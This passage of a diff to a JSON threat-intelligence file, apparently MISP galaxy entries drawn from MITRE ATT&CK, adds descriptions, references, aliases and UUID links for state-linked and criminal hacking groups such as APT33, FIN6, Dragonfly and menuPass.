"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "value": "CopyKittens - G0052" + }, + { + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japans, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)", + "meta": { + "external_id": "G0072", + "refs": [ + "https://attack.mitre.org/groups/G0072", + "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + ], + "synonyms": [ + "Honeybee" + ] + }, + "related": [ + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "value": "Honeybee - G0072" + }, + { + "description": "[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "meta": { + "external_id": "G0064", + "refs": [ + "https://attack.mitre.org/groups/G0064", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.brighttalk.com/webcast/10703/275683" + ], + "synonyms": [ + "APT33" + ] + }, + "related": [ + { + "dest-uuid": "4f69ec6d-cb6b-42af-b8e2-920a2aa4be10", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "accd848b-b8f4-46ba-a408-9063b35cfbf2", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2a70812b-f1ef-44db-8578-a496a227aef2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fbd29c89-18ba-4c2d-b792-51c0adee049f", + "value": "APT33 - G0064" + }, + { + "description": "APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)", + "meta": { + "external_id": "G0057", + "refs": [ + "https://attack.mitre.org/groups/G0057" + ] + }, + "related": [ + { + "dest-uuid": "73a521f6-3bc7-11e8-9e30-df7c90e50dda", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "4ca1929c-7d64-4aab-b849-badbfc0c760d", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "revoked-by" + } + ], + "uuid": "68ba94ab-78b8-43e7-83e2-aed3466882c6", + "value": "APT34 - G0057" + }, + { + "description": "[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)", + "meta": { + "external_id": "G0043", + "refs": [ + "https://attack.mitre.org/groups/G0043", + "https://citizenlab.org/2016/08/group5-syria/" + ], + "synonyms": [ + "Group5" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" }, { - "dest-uuid": "8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "value": "Group5 - G0043" + }, + { + "description": "[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "meta": { + "external_id": "G0053", + "refs": [ + "https://attack.mitre.org/groups/G0053", + "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html", + "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?", + "https://www.youtube.com/watch?v=fevGZs0EQu8" + ], + "synonyms": [ + "FIN5" + ] + }, + "related": [ + { + "dest-uuid": "0e18b800-906c-4e44-a143-b11c72b3448b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9de2308e-7bed-43a3-8e58-f194b3586700", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "242f3da3-4425-4d11-8f5c-b842886da966", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9752aef4-a1f3-4328-929f-b64eb0536090", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "85403903-15e0-4f9f-9be4-a259ecad4022", + "value": "FIN5 - G0053" + }, + { + "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)", + "meta": { + "external_id": "G0035", + "refs": [ + "https://attack.mitre.org/groups/G0035", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "http://fortune.com/2017/09/06/hack-energy-grid-symantec/" + ], + "synonyms": [ + "Dragonfly", + "Energetic Bear" + ] + }, + "related": [ + { + "dest-uuid": "64d6559c-6d5c-4585-bbf9-c17868f763ee", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "11e17436-6ede-4733-8547-4ce0254ea19e", + "dest-uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "083bb47b-02c8-4423-81a2-f9ef58572974", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", + "value": "Dragonfly - G0035" + }, + { + "description": "[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)", + "meta": { + "external_id": "G0067", + "refs": [ + "https://attack.mitre.org/groups/G0067", + "https://securelist.com/operation-daybreak/75100/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + ], + "synonyms": [ + "ScarCruft", + "APT37", + "Reaper", + "Group123", + "TEMP.Reaper" + ] + }, + "related": [ + { + "dest-uuid": "bb446dc2-4fee-4212-8b2c-3ffa2917e338", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "86724806-7ec9-4a48-a0a7-ecbde3bf4810", + "dest-uuid": "50cd027f-df14-40b2-aa22-bf5de5061163", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4189a679-72ed-4a89-a57c-7f689712ecf8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4a2ce82e-1a74-468a-a6fb-bbead541383c", + "value": "APT37 - G0067" + }, + { + "description": "[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors. (Citation: FireEye FIN6 April 2016)", + "meta": { + "external_id": "G0037", + "refs": [ + "https://attack.mitre.org/groups/G0037", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + ], + "synonyms": [ + "FIN6" + ] + }, + "related": [ + { + "dest-uuid": "647894f6-1723-4cba-aba4-0ef0966d5302", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "242f3da3-4425-4d11-8f5c-b842886da966", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "value": "FIN6 - G0037" + }, + { + "description": "[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)", + "meta": { + "external_id": "G0036", + "refs": [ + "https://attack.mitre.org/groups/G0036", + "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/" + ], + "synonyms": [ + "GCMAN" + ] + }, + "related": [ + { + "dest-uuid": "d93889de-b4bc-4a29-9ce7-d67717c140a0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f", + "value": "GCMAN - G0036" + }, + { + "description": "[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "meta": { + "external_id": "G0063", + "refs": [ + "https://attack.mitre.org/groups/G0063", + "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", + "https://securelist.com/apt-trends-report-q2-2017/79332/", + "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/" + ], + "synonyms": [ + "BlackOasis" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "da49b9f1-ca99-443f-9728-0a074db66850", + "value": "BlackOasis - G0063" + }, + { + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)", + "meta": { + "external_id": "G0039", + "refs": [ + "https://attack.mitre.org/groups/G0039", + "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates", + "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + ], + "synonyms": [ + "Suckfly" + ] + }, + "related": [ + { + "dest-uuid": "5abb12e7-5066-4f84-a109-49a037205c76", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d", + "value": "Suckfly - G0039" + }, + { + "description": "[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017)", + "meta": { + "external_id": "G0045", + "refs": [ + "https://attack.mitre.org/groups/G0045", + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", + "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", + "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", + "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + ], + "synonyms": [ + "menuPass", + "Stone Panda", + "APT10", + "Red Apollo", + "CVNX", + "HOGFISH" + ] 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"b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 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(Citation: Symantec Sowbug Nov 2017)", + "meta": { + "external_id": "G0054", + "refs": [ + "https://attack.mitre.org/groups/G0054", + "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + ], + "synonyms": [ + "Sowbug" + ] + }, + "related": [ + { + "dest-uuid": "1ca3b039-404e-4132-88c2-4e41235cd2f5", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 